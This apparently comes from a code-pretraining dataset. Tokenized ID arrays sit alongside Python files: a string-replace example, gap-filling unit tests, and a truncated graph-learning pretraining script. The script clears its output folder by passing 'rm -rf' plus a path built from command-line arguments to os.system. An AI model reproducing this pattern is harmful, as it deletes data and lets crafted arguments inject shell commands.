29901, 29924, 29968, 29900, 29941, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 9651, 1533, 999, 29958, 13, 308, 1533, 1707, 29958, 13, 268, 529, 1707, 1024, 543, 6338, 3254, 999, 7663, 543, 6338, 5319, 999, 2565, 1707, 29958, 13, 268, 1533, 999, 29958, 13, 1533, 12846, 29958, 13, 829, 1639, 19819, 362, 29958, 13, 829, 7914, 29958, 13, 12008, 13, 13, 3134, 29918, 710, 29906, 353, 14550, 13, 29966, 7914, 282, 6563, 543, 29896, 29906, 29941, 29946, 29945, 1013, 13, 29966, 1639, 19819, 362, 29958, 13, 29871, 529, 18616, 663, 29899, 726, 29958, 29950, 663, 12738, 29925, 29906, 508, 367, 1374, 25715, 706, 29880, 630, 472, 724, 457, 29871, 29947, 29906, 29955, 491, 341, 3301, 29968, 29896, 297, 13901, 307, 829, 18616, 663, 29899, 726, 29958, 13, 29871, 529, 12846, 29958, 13, 1678, 529, 999, 7663, 543, 561, 25715, 706, 9632, 1013, 13, 418, 529, 1707, 1024, 543, 1491, 16065, 29899, 535, 29926, 651, 1013, 13, 3986, 529, 999, 7663, 543, 1491, 16065, 29899, 535, 29926, 651, 3254, 1707, 1024, 543, 1742, 1013, 29882, 663, 829, 1707, 2565, 999, 2565, 1707, 29958, 13, 418, 529, 1707, 1024, 543, 27790, 403, 1013, 13, 3986, 529, 999, 7663, 543, 14676, 262, 1013, 13, 795, 529, 1707, 1024, 543, 978, 1013, 3289, 18009, 29906, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 795, 529, 1707, 1024, 543, 5416, 1013, 4897, 29901, 3289, 18009, 29906, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 3986, 1533, 999, 29958, 13, 418, 1533, 1707, 29958, 13, 418, 529, 1707, 1024, 543, 14748, 1013, 13, 4706, 529, 999, 7663, 543, 14676, 262, 1013, 13, 3986, 529, 1707, 1024, 543, 4703, 1013, 13, 9651, 529, 999, 7663, 543, 262, 29899, 29894, 277, 307, 5319, 999, 29958, 13, 3986, 1533, 1707, 29958, 13, 3986, 529, 1707, 1024, 543, 5416, 1013, 4897, 29901, 29924, 29968, 29900, 29896, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 3986, 529, 1707, 1024, 543, 978, 1013, 29924, 29968, 29900, 29896, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 4706, 1533, 999, 29958, 13, 418, 1533, 1707, 29958, 13, 418, 529, 1707, 1024, 543, 2746, 1013, 13, 4706, 529, 999, 7663, 543, 690, 333, 434, 29899, 265, 29899, 14676, 262, 1013, 13, 3986, 529, 1707, 1024, 543, 314, 1789, 29899, 562, 333, 1013, 13, 9651, 529, 999, 7663, 543, 314, 1789, 29899, 562, 333, 3254, 1707, 1024, 543, 978, 1013, 643, 457, 829, 1707, 2565, 999, 29958, 13, 3986, 1533, 1707, 29958, 13, 3986, 529, 1707, 1024, 543, 3283, 1013, 29871, 29947, 29906, 29955, 829, 1707, 29958, 13, 4706, 1533, 999, 29958, 13, 418, 1533, 1707, 29958, 13, 418, 529, 1707, 1024, 543, 15601, 3254, 999, 7663, 543, 3068, 5319, 999, 2565, 1707, 29958, 13, 1678, 1533, 999, 29958, 13, 29871, 1533, 12846, 29958, 13, 829, 1639, 19819, 362, 29958, 13, 829, 7914, 29958, 13, 12008, 13, 13, 13, 1753, 1243, 29918, 20965, 29918, 3134, 7295, 13, 1678, 805, 353, 805, 279, 643, 29889, 5014, 29918, 3134, 877, 20230, 1495, 13, 1678, 4974, 29898, 1028, 338, 6213, 29897, 13, 13, 13, 1753, 1243, 29918, 561, 25715, 706, 18411, 7295, 13, 1678, 805, 353, 805, 279, 643, 29889, 5014, 29918, 3134, 29898, 3134, 29918, 710, 29896, 29897, 13, 1678, 4974, 29898, 2435, 29898, 1028, 29889, 6112, 4110, 29897, 1275, 29871, 29896, 29897, 13, 1678, 4974, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 4666, 29889, 978, 1275, 525, 23827, 29906, 29968, 29896, 1495, 13, 1678, 4974, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 1491, 29889, 978, 1275, 525, 1529, 21738, 29941, 1495, 13, 1678, 4974, 29898, 2435, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 5750, 5084, 29897, 1275, 29871, 29896, 29897, 13, 1678, 3415, 353, 805, 29889, 6112, 4110, 29961, 29900, 1822, 5750, 5084, 29961, 29900, 29962, 13, 1678, 4974, 29898, 5750, 29889, 3358, 333, 1275, 525, 29945, 29946, 29941, 29906, 29896, 1495, 13, 1678, 4974, 29898, 5750, 29889, 726, 29897, 13, 1678, 4974, 29898, 5750, 29889, 4993, 29918, 2754, 1275, 525, 29879, 16680, 1495, 13, 13, 13, 1753, 1243, 29918, 561, 25715, 706, 18411, 29906, 7295, 13, 1678, 805, 353, 805, 279, 643, 29889, 5014, 29918, 3134, 29898, 3134, 29918, 710, 29906, 29897, 13, 1678, 4974, 29898, 2435, 29898, 1028, 29889, 6112, 4110, 29897, 1275, 29871, 29896, 29897, 13, 1678, 4974, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 4666, 29889, 978, 1275, 525, 1529, 21738, 29896, 1495, 13, 1678, 4974, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 1491, 29889, 978, 1275, 525, 3557, 29945, 29941, 29933, 29925, 29906, 1495, 13, 1678, 4974, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 690, 333, 434, 1275, 525, 29903, 1495, 13, 1678, 4974, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 3283, 1275, 525, 29947, 29906, 29955, 1495, 13, 1678, 4974, 313, 2435, 29898, 1028, 29889, 6112, 4110, 29961, 29900, 1822, 5750, 5084, 29897, 1275, 29871, 29896, 29897, 13, 1678, 3415, 353, 805, 29889, 6112, 4110, 29961, 29900, 1822, 5750, 5084, 29961, 29900, 29962, 13, 1678, 4974, 313, 5750, 29889, 3358, 333, 1275, 525, 29896, 29906, 29941, 29946, 29945, 1495, 13, 1678, 4974, 313, 5750, 29889, 726, 29897, 13, 1678, 4974, 313, 5750, 29889, 4993, 29918, 2754, 1275, 525, 29879, 16680, 1495, 13, 2 ]
30.strings/16.replace.py
robinson-1985/python-zero-dnc
0
35675
# 15. replace() -> Altera determinado valor de uma string por outro. Troca uma string por outra. texto = 'vou Treinar todo Dia Python' print(texto.replace('vou','Vamos')) print(texto.replace('Python','Algoritmos'))
[ 1, 396, 29871, 29896, 29945, 29889, 5191, 580, 1599, 838, 10120, 11806, 912, 16497, 316, 3672, 1347, 1277, 714, 307, 29889, 8316, 1113, 3672, 1347, 1277, 714, 336, 29889, 13, 13, 726, 29877, 353, 525, 29894, 283, 6479, 18220, 10481, 22866, 5132, 29915, 13, 2158, 29898, 726, 29877, 29889, 6506, 877, 29894, 283, 3788, 29963, 14054, 8785, 13, 2158, 29898, 726, 29877, 29889, 6506, 877, 11980, 3788, 2499, 21208, 277, 7681, 8785, 2 ]
test/test_fillgaps_lowpass_2d.py
JanisGailis/gridtools
0
131580
<filename>test/test_fillgaps_lowpass_2d.py import unittest import numpy as np from numpy.testing import assert_almost_equal import gridtools.gapfilling as gtg GAP = np.nan KERNEL = np.ones((3, 3), dtype=np.float64) class FillgapsLowpass2d(unittest.TestCase): def _test_fillgaps(self, src, desired_out, desired_gaps_filled): src = np.array(src) gc1 = gtg.count_gaps(src) actual_out = gtg.fillgaps_lowpass_2d(src, kernel=KERNEL) gc2 = gtg.count_gaps(actual_out) actual_gaps_filled = gc1 - gc2 assert_almost_equal(actual_out, np.array(desired_out)) self.assertEqual(actual_gaps_filled, desired_gaps_filled) def test_0_missing(self): self._test_fillgaps([[1.0, 2.0], [3.0, 4.0]], [[1.0, 2.0], [3.0, 4.0]], 0) def test_1_missing(self): self._test_fillgaps([[GAP]], [[GAP]], 0) _F_ = (2 + 3 + 4) / 3. self._test_fillgaps([[GAP, 2.0], [3.0, 4.0]], [[_F_, 2.0], [3.0, 4.0]], 1) _F_ = (1 + 2 + 3) / 3. self._test_fillgaps([[1.0, 2.0], [3.0, GAP]], [[1.0, 2.0], [3.0, _F_]], 1) _F_ = (1 + 2 + 3 + 4 + 6 + 7 + 8 + 9) / 8. self._test_fillgaps([[1.0, 2.0, 3.0], [4.0, GAP, 6.0], [7.0, 8.0, 9.0]], [[1.0, 2.0, 3.0], [4.0, _F_, 6.0], [7.0, 8.0, 9.0]], 1) def test_2_missing(self): self._test_fillgaps([[GAP, GAP]], [[GAP, GAP]], 0) F1_ = (2 + 3) / 2. F2_ = (2 + 3) / 2. self._test_fillgaps([[GAP, 2.0], [3.0, GAP]], [[F1_, 2.0], [3.0, F2_]], 2) F1_ = (2 + 4) / 2. F2_ = (2 + 3 + 4 + 6 + 7 + 8 + 9) / 7. self._test_fillgaps([[GAP, 2.0, 3.0], [4.0, GAP, 6.0], [7.0, 8.0, 9.0]], [[F1_, 2.0, 3.0], [4.0, F2_, 6.0], [7.0, 8.0, 9.0]], 2) def test_3_missing(self): self._test_fillgaps([[GAP, GAP], [GAP, 4.0]], [[4.0, 4.0], [4.0, 4.0]], 3) F1_ = 2. F2_ = (2 + 7 + 8) / 3. F3_ = (2 + 3 + 6 + 7 + 8 + 9) / 6. self._test_fillgaps([[GAP, 2.0, 3.0], [GAP, GAP, 6.0], [7.0, 8.0, 9.0]], [[F1_, 2.0, 3.0], [F2_, F3_, 6.0], [7.0, 8.0, 9.0]], 3) def test_4_missing(self): self._test_fillgaps([[GAP, GAP], [GAP, GAP]], [[GAP, GAP], [GAP, GAP]], 0) F1_ = (3 + 6) / 2. F2_ = (7 + 8) / 2. F3_ = (3 + 6 + 7 + 8 + 9) / 5. F4_ = (F1_ + F2_ + F3_) / 3. self._test_fillgaps([[GAP, GAP, 3.0], [GAP, GAP, 6.0], [7.0, 8.0, 9.0]], [[F4_, F1_, 3.0], [F2_, F3_, 6.0], [7.0, 8.0, 9.0]], 4) def test_9_missing(self): F1_ = (1 + 2 + 3 + 4 + 5 + 9) / 6. F2_ = (2 + 3 + 4) / 3. F3_ = (3 + 4) / 2. F4_ = (5 + 9 + 13) / 3. F5_ = (9 + 13) / 2. F6_ = (F1_ + F2_ + F3_ + F4_ + F5_) / 5. F7_ = (F2_ + F3_) / 2. F8_ = (F4_ + F5_) / 2. F9_ = (F6_ + F7_ + F8_) / 3. self._test_fillgaps([[1.0, 2.0, 3.0, 4.0], [5.0, GAP, GAP, GAP], [9.0, GAP, GAP, GAP], [13., GAP, GAP, GAP]], [[1.0, 2.0, 3.0, 4.0], [5.0, F1_, F2_, F3_], [9.0, F4_, F6_, F7_], [13., F5_, F8_, F9_]], 9)
[ 1, 529, 9507, 29958, 1688, 29914, 1688, 29918, 5589, 29887, 2547, 29918, 677, 3364, 29918, 29906, 29881, 29889, 2272, 13, 5215, 443, 27958, 13, 13, 5215, 12655, 408, 7442, 13, 3166, 12655, 29889, 13424, 1053, 4974, 29918, 284, 3242, 29918, 11745, 13, 13, 5215, 6856, 8504, 29889, 29887, 481, 5589, 292, 408, 330, 29873, 29887, 13, 13, 29954, 3301, 353, 7442, 29889, 13707, 13, 13, 29968, 1001, 29940, 6670, 353, 7442, 29889, 2873, 3552, 29941, 29892, 29871, 29941, 511, 26688, 29922, 9302, 29889, 7411, 29953, 29946, 29897, 13, 13, 13, 1990, 383, 453, 29887, 2547, 29931, 340, 3364, 29906, 29881, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 903, 1688, 29918, 5589, 29887, 2547, 29898, 1311, 29892, 4765, 29892, 7429, 29918, 449, 29892, 7429, 29918, 29887, 2547, 29918, 26940, 1125, 13, 4706, 4765, 353, 7442, 29889, 2378, 29898, 4351, 29897, 13, 4706, 330, 29883, 29896, 353, 330, 29873, 29887, 29889, 2798, 29918, 29887, 2547, 29898, 4351, 29897, 13, 4706, 3935, 29918, 449, 353, 330, 29873, 29887, 29889, 5589, 29887, 2547, 29918, 677, 3364, 29918, 29906, 29881, 29898, 4351, 29892, 8466, 29922, 29968, 1001, 29940, 6670, 29897, 13, 4706, 330, 29883, 29906, 353, 330, 29873, 29887, 29889, 2798, 29918, 29887, 2547, 29898, 19304, 29918, 449, 29897, 13, 4706, 3935, 29918, 29887, 2547, 29918, 26940, 353, 330, 29883, 29896, 448, 330, 29883, 29906, 13, 4706, 4974, 29918, 284, 3242, 29918, 11745, 29898, 19304, 29918, 449, 29892, 7442, 29889, 2378, 29898, 2783, 2859, 29918, 449, 876, 13, 4706, 1583, 29889, 9294, 9843, 29898, 19304, 29918, 29887, 2547, 29918, 26940, 29892, 7429, 29918, 29887, 2547, 29918, 26940, 29897, 13, 13, 1678, 822, 1243, 29918, 29900, 29918, 27259, 29898, 1311, 1125, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 20526, 13, 462, 9651, 5519, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 20526, 29871, 29900, 29897, 13, 13, 1678, 822, 1243, 29918, 29896, 29918, 27259, 29898, 1311, 1125, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 20526, 13, 462, 9651, 5519, 29954, 3301, 20526, 29871, 29900, 29897, 13, 13, 4706, 903, 29943, 29918, 353, 313, 29906, 718, 29871, 29941, 718, 29871, 29946, 29897, 847, 29871, 29941, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 20526, 13, 462, 9651, 5519, 29918, 29943, 3383, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 20526, 29871, 29896, 29897, 13, 13, 4706, 903, 29943, 29918, 353, 313, 29896, 718, 29871, 29906, 718, 29871, 29941, 29897, 847, 29871, 29941, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 402, 3301, 20526, 13, 462, 9651, 5519, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 903, 29943, 29918, 20526, 29871, 29896, 29897, 13, 13, 4706, 903, 29943, 29918, 353, 313, 29896, 718, 29871, 29906, 718, 29871, 29941, 718, 29871, 29946, 718, 29871, 29953, 718, 29871, 29955, 718, 29871, 29947, 718, 29871, 29929, 29897, 847, 29871, 29947, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29946, 29889, 29900, 29892, 402, 3301, 29892, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 13, 462, 9651, 5519, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29946, 29889, 29900, 29892, 903, 29943, 3383, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 29871, 29896, 29897, 13, 13, 1678, 822, 1243, 29918, 29906, 29918, 27259, 29898, 1311, 1125, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 402, 3301, 20526, 13, 462, 9651, 5519, 29954, 3301, 29892, 402, 3301, 20526, 29871, 29900, 29897, 13, 13, 4706, 383, 29896, 29918, 353, 313, 29906, 718, 29871, 29941, 29897, 847, 29871, 29906, 29889, 13, 4706, 383, 29906, 29918, 353, 313, 29906, 718, 29871, 29941, 29897, 847, 29871, 29906, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 402, 3301, 20526, 13, 462, 9651, 5519, 29943, 29896, 3383, 29871, 29906, 29889, 29900, 1402, 13, 462, 632, 518, 29941, 29889, 29900, 29892, 383, 29906, 29918, 20526, 29871, 29906, 29897, 13, 13, 4706, 383, 29896, 29918, 353, 313, 29906, 718, 29871, 29946, 29897, 847, 29871, 29906, 29889, 13, 4706, 383, 29906, 29918, 353, 313, 29906, 718, 29871, 29941, 718, 29871, 29946, 718, 29871, 29953, 718, 29871, 29955, 718, 29871, 29947, 718, 29871, 29929, 29897, 847, 29871, 29955, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29946, 29889, 29900, 29892, 402, 3301, 29892, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 13, 462, 9651, 5519, 29943, 29896, 3383, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29946, 29889, 29900, 29892, 383, 29906, 3383, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 29871, 29906, 29897, 13, 13, 1678, 822, 1243, 29918, 29941, 29918, 27259, 29898, 1311, 1125, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 402, 3301, 1402, 13, 462, 632, 518, 29954, 3301, 29892, 29871, 29946, 29889, 29900, 20526, 13, 462, 9651, 5519, 29946, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 1402, 13, 462, 632, 518, 29946, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 20526, 29871, 29941, 29897, 13, 13, 4706, 383, 29896, 29918, 353, 29871, 29906, 29889, 13, 4706, 383, 29906, 29918, 353, 313, 29906, 718, 29871, 29955, 718, 29871, 29947, 29897, 847, 29871, 29941, 29889, 13, 4706, 383, 29941, 29918, 353, 313, 29906, 718, 29871, 29941, 718, 29871, 29953, 718, 29871, 29955, 718, 29871, 29947, 718, 29871, 29929, 29897, 847, 29871, 29953, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29954, 3301, 29892, 402, 3301, 29892, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 13, 462, 9651, 5519, 29943, 29896, 3383, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29943, 29906, 3383, 383, 29941, 3383, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 29871, 29941, 29897, 13, 13, 1678, 822, 1243, 29918, 29946, 29918, 27259, 29898, 1311, 1125, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 402, 3301, 1402, 13, 462, 632, 518, 29954, 3301, 29892, 402, 3301, 20526, 13, 462, 9651, 5519, 29954, 3301, 29892, 402, 3301, 1402, 13, 462, 632, 518, 29954, 3301, 29892, 402, 3301, 20526, 29871, 29900, 29897, 13, 13, 4706, 383, 29896, 29918, 353, 313, 29941, 718, 29871, 29953, 29897, 847, 29871, 29906, 29889, 13, 4706, 383, 29906, 29918, 353, 313, 29955, 718, 29871, 29947, 29897, 847, 29871, 29906, 29889, 13, 4706, 383, 29941, 29918, 353, 313, 29941, 718, 29871, 29953, 718, 29871, 29955, 718, 29871, 29947, 718, 29871, 29929, 29897, 847, 29871, 29945, 29889, 13, 4706, 383, 29946, 29918, 353, 313, 29943, 29896, 29918, 718, 383, 29906, 29918, 718, 383, 29941, 19925, 847, 29871, 29941, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29954, 3301, 29892, 402, 3301, 29892, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29954, 3301, 29892, 402, 3301, 29892, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 13, 462, 9651, 5519, 29943, 29946, 3383, 383, 29896, 3383, 29871, 29941, 29889, 29900, 1402, 13, 462, 632, 518, 29943, 29906, 3383, 383, 29941, 3383, 29871, 29953, 29889, 29900, 1402, 13, 462, 632, 518, 29955, 29889, 29900, 29892, 29871, 29947, 29889, 29900, 29892, 29871, 29929, 29889, 29900, 20526, 29871, 29946, 29897, 13, 13, 1678, 822, 1243, 29918, 29929, 29918, 27259, 29898, 1311, 1125, 13, 4706, 383, 29896, 29918, 353, 313, 29896, 718, 29871, 29906, 718, 29871, 29941, 718, 29871, 29946, 718, 29871, 29945, 718, 29871, 29929, 29897, 847, 29871, 29953, 29889, 13, 4706, 383, 29906, 29918, 353, 313, 29906, 718, 29871, 29941, 718, 29871, 29946, 29897, 847, 29871, 29941, 29889, 13, 4706, 383, 29941, 29918, 353, 313, 29941, 718, 29871, 29946, 29897, 847, 29871, 29906, 29889, 13, 4706, 383, 29946, 29918, 353, 313, 29945, 718, 29871, 29929, 718, 29871, 29896, 29941, 29897, 847, 29871, 29941, 29889, 13, 4706, 383, 29945, 29918, 353, 313, 29929, 718, 29871, 29896, 29941, 29897, 847, 29871, 29906, 29889, 13, 4706, 383, 29953, 29918, 353, 313, 29943, 29896, 29918, 718, 383, 29906, 29918, 718, 383, 29941, 29918, 718, 383, 29946, 29918, 718, 383, 29945, 19925, 847, 29871, 29945, 29889, 13, 4706, 383, 29955, 29918, 353, 313, 29943, 29906, 29918, 718, 383, 29941, 19925, 847, 29871, 29906, 29889, 13, 4706, 383, 29947, 29918, 353, 313, 29943, 29946, 29918, 718, 383, 29945, 19925, 847, 29871, 29906, 29889, 13, 4706, 383, 29929, 29918, 353, 313, 29943, 29953, 29918, 718, 383, 29955, 29918, 718, 383, 29947, 19925, 847, 29871, 29941, 29889, 13, 4706, 1583, 3032, 1688, 29918, 5589, 29887, 2547, 4197, 29961, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 1402, 13, 462, 632, 518, 29945, 29889, 29900, 29892, 402, 3301, 29892, 402, 3301, 29892, 402, 3301, 1402, 13, 462, 632, 518, 29929, 29889, 29900, 29892, 402, 3301, 29892, 402, 3301, 29892, 402, 3301, 1402, 13, 462, 632, 518, 29896, 29941, 1696, 402, 3301, 29892, 402, 3301, 29892, 402, 3301, 20526, 13, 462, 9651, 5519, 29896, 29889, 29900, 29892, 29871, 29906, 29889, 29900, 29892, 29871, 29941, 29889, 29900, 29892, 29871, 29946, 29889, 29900, 1402, 13, 462, 632, 518, 29945, 29889, 29900, 29892, 383, 29896, 3383, 383, 29906, 3383, 383, 29941, 29918, 1402, 13, 462, 632, 518, 29929, 29889, 29900, 29892, 383, 29946, 3383, 383, 29953, 3383, 383, 29955, 29918, 1402, 13, 462, 632, 518, 29896, 29941, 1696, 383, 29945, 3383, 383, 29947, 3383, 383, 29929, 29918, 20526, 29871, 29929, 29897, 13, 2 ]
incremental/pretrain.py
Zhen-Tan-dmml/GFCIL
7
125929
<filename>incremental/pretrain.py from __future__ import division from __future__ import print_function import time import argparse import numpy as np import os import torch import torch.optim as optim from data_split import * from models import * # Training settings parser = argparse.ArgumentParser() parser.add_argument('--use_cuda', action='store_true', help='Enable CUDA training.') parser.add_argument('--seed', type=int, default=1234, help='Random seed.') parser.add_argument('--epochs', type=int, default=2000, help='Number of epochs to train.') parser.add_argument('--lr', type=float, default=0.005, help='Initial learning rate.') parser.add_argument('--weight_decay', type=float, default=5e-4, help='Weight decay (L2 loss on parameters).') parser.add_argument('--hidden', type=int, default=16, help='Number of hidden units.') parser.add_argument('--dropout', type=float, default=0.5, help='Dropout rate (1 - keep probability).') parser.add_argument('--dataset', default='Amazon_clothing', help='Dataset:Amazon_clothing/reddit/dblp') parser.add_argument('--lazy', type=int, default=10, help='Lazy epoch to terminate pre-training') parser.add_argument('--pretrain_model', required=False, help='Existing model path.') parser.add_argument('--overwrite_pretrain', action='store_true', help='Delete existing pre-train model') parser.add_argument('--output_path', default='./pretrain_model', help='Path for output pre-trained model.') args = parser.parse_args() args.cuda = args.use_cuda and torch.cuda.is_available() path_tmp = os.path.join(args.output_path, str(args.dataset)) if args.overwrite_pretrain and os.path.exists(path_tmp): cmd = "rm -rf " + path_tmp os.system(cmd) if not os.path.exists(path_tmp): os.makedirs(path_tmp) random.seed(args.seed) torch.manual_seed(args.seed) if args.cuda: torch.cuda.manual_seed(args.seed) # Load data dataset = args.dataset adj, features, labels, degrees, id_by_class, base_id, novel_id, num_nodes, num_all_nodes = load_raw_data(dataset) novel_train_id, novel_test_id = split_novel_data(novel_id, dataset) pretrain_id = base_id + novel_train_id pretrain_idx, predev_idx, pretest_idx, base_train_label, base_dev_label, base_test_label,\ base_train_id, base_dev_id, base_test_id = split_base_data(pretrain_id, id_by_class, labels) pretrain_adj = get_base_adj(adj, pretrain_id, labels) cache = {"pretrain_seed": args.seed, "adj": adj, "features": features, "labels": labels, "pretrain_adj": pretrain_adj, "degrees": degrees, "id_by_class": id_by_class, "base_id": base_id, "novel_id": novel_id, "num_nodes": num_nodes, "num_all_nodes": num_all_nodes, "base_train_id": base_train_id, "base_dev_id": base_dev_id, "base_test_id": base_test_id, "novel_train_id": novel_train_id, "novel_test_id": novel_test_id} cache_path = os.path.join("./cache", (str(args.dataset) + ".pkl")) if not os.path.exists("./cache"): os.makedirs("./cache") save_object(cache, cache_path) del cache # Model and optimizer encoder = GNN_Encoder(nfeat=features.shape[1], nhid=args.hidden, dropout=args.dropout) classifier = Classifier(nhid=args.hidden, nclass=len(pretrain_id)) optimizer_encoder = optim.Adam(encoder.parameters(), lr=args.lr, weight_decay=args.weight_decay) optimizer_classifier = optim.Adam(classifier.parameters(), lr=args.lr, weight_decay=args.weight_decay) if args.pretrain_model: checkpoint = torch.load(args.pretrain_model) encoder.load_state_dict(checkpoint['encoder_state_dict']) classifier.load_state_dict(checkpoint['classifier_state_dict']) optimizer_encoder.load_state_dict(checkpoint['optimizer_encoder_state_dict']) optimizer_classifier.load_state_dict(checkpoint['optimizer_classifier_state_dict']) epoch = checkpoint['epoch'] # loss = checkpoint['loss'] if args.cuda: encoder.cuda() classifier.cuda() features = features.cuda() # adj = adj.cuda() pretrain_adj = pretrain_adj.cuda() labels = labels.cuda() degrees = degrees.cuda() def pretrain_epoch(pretrain_idx): encoder.train() classifier.train() optimizer_encoder.zero_grad() embeddings = encoder(features, pretrain_adj) output = classifier(embeddings)[pretrain_idx] output = F.log_softmax(-output, dim=1) labels_new = torch.LongTensor([pretrain_id.index(i) for i in labels[pretrain_idx]]) if args.cuda: labels_new = labels_new.cuda() loss_train = F.nll_loss(output, labels_new) loss_train.backward() optimizer_encoder.step() optimizer_classifier.step() if args.cuda: output = output.cpu().detach() labels_new = labels_new.cpu().detach() acc_train = accuracy(output, labels_new) f1_train = f1(output, labels_new) return acc_train, f1_train def pretest_epoch(pretest_idx): encoder.eval() classifier.eval() embeddings = encoder(features, pretrain_adj) output = classifier(embeddings)[pretest_idx] output = F.log_softmax(-output, dim=1) labels_new = torch.LongTensor([pretrain_id.index(i) for i in labels[pretest_idx]]) if args.cuda: labels_new = labels_new.cuda() loss_test = F.nll_loss(output, labels_new) if args.cuda: output = output.cpu().detach() labels_new = labels_new.cpu().detach() acc_test = accuracy(output, labels_new) f1_test = f1(output, labels_new) return acc_test, f1_test if __name__ == '__main__': # Train model t_total = time.time() pre_train_acc = [] best_dev_acc = 0. tolerate = 0 best_epoch = 0 for epoch in range(args.epochs): acc_train, f1_train = pretrain_epoch(pretrain_idx) pre_train_acc.append(acc_train) if epoch > 0 and epoch % 10 == 0: print("-------Epochs {}-------".format(epoch)) print("Pre-Train_Accuracy: {}".format(np.array(pre_train_acc).mean(axis=0))) # validation pre_dev_acc = [] pre_dev_f1 = [] acc_test, f1_test = pretest_epoch(predev_idx) pre_dev_acc.append(acc_test) pre_dev_f1.append(f1_test) curr_dev_acc = np.array(pre_dev_acc).mean(axis=0) print("Pre-valid_Accuracy: {}, Pre-valid_F1: {}".format(curr_dev_acc, np.array(pre_dev_f1).mean(axis=0))) if curr_dev_acc > best_dev_acc: best_dev_acc = curr_dev_acc save_path = os.path.join(args.output_path, dataset, str(args.seed) + "_" + (str(epoch) + ".pth")) tolerate = 0 torch.save({ 'epoch': epoch, 'encoder_state_dict': encoder.state_dict(), 'classifier_state_dict': classifier.state_dict(), 'optimizer_encoder_state_dict': 